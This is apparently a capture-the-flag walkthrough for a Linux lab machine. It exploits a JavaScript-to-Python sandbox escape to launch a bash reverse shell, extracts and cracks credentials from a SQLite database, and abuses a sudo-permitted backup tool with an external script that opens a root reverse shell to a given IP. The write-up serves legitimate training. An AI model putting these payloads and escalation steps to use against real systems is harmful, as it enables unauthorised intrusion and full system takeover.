This machine consists of compromising a Linux server by exploiting a vulnerable web environment and the solution consists of obtaining a reverse shell by injecting a JavaScript payload that escapes the sandbox into Python, extracting credentials from a SQLite database to gain SSH access, and escalating privileges to root by executing a backup binary with a malicious script to read the flag.

Reconnaissance

1. Identifying the operating system through ping

• Since the TTL is close to 64, the machine can be identified as Linux.

2. Identifying open ports with Nmap

• First, perform a basic scan to identify the open ports:

• Then run a more detailed scan to identify services and versions:

3. Reviewing the website deployed on port 8000

• When visiting the page, you can see a platform with three options and some basic information:

• The application source code can be downloaded, but in this case the workflow continues by registering on the platform and testing how it behaves:

• After logging in, a dashboard appears where JavaScript code can be executed and its output is shown:

• Through that dashboard, the following line is used to check whether Python is running behind the scenes:

(function(){
  try {
    return Object.getOwnPropertyNames({});
  } catch(e) {
    return e.toString();
  }
})()

• Try sending a reverse shell with the following payload:

(function(){
  var cmd = "bash -c 'bash -i >& /dev/tcp/IP/PUERTO 0>&1'";
  var ga = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
  var root = ga(ga(ga,"__class__"),"__base__");
  function findPopen(o){
    var r, subs=o.__subclasses__();
    for (var i in subs){
      var it=subs[i];
      if (it.__module__=="subprocess" && it.__name__=="Popen") return it;
      if (it.__name__!="type" && (r=findPopen(it))) return r;
    }
  }
  return findPopen(root)(cmd, -1, null, -1, -1, -1, null, null, true);
})()

• In the home directory there is a folder belonging to user marco, but it is not accessible with the current permissions:

• Once inside the system, search under /app/instances and find two SQLite databases:

  The users table contains MD5-hashed passwords, so try recovering one that has already been cracked:

• In this case, the password for user marco exists in plaintext, so log in over SSH:

• The user flag is found, together with a backups folder and a configuration file:

Privilege escalation

• Run sudo -l to check what can be executed as root: In this case there is a binary called npbackup-cli, and inspecting it shows that it is a Python script:

• After reviewing the files related to the backup process, an escalation path appears through an external script. Create the following executable in /tmp:

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.186/443 0>&1

• Use the backup binary to escalate privileges with: sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --external-backend-binary=/tmp/exploit.sh --backup

• Enter /root and retrieve the root flag: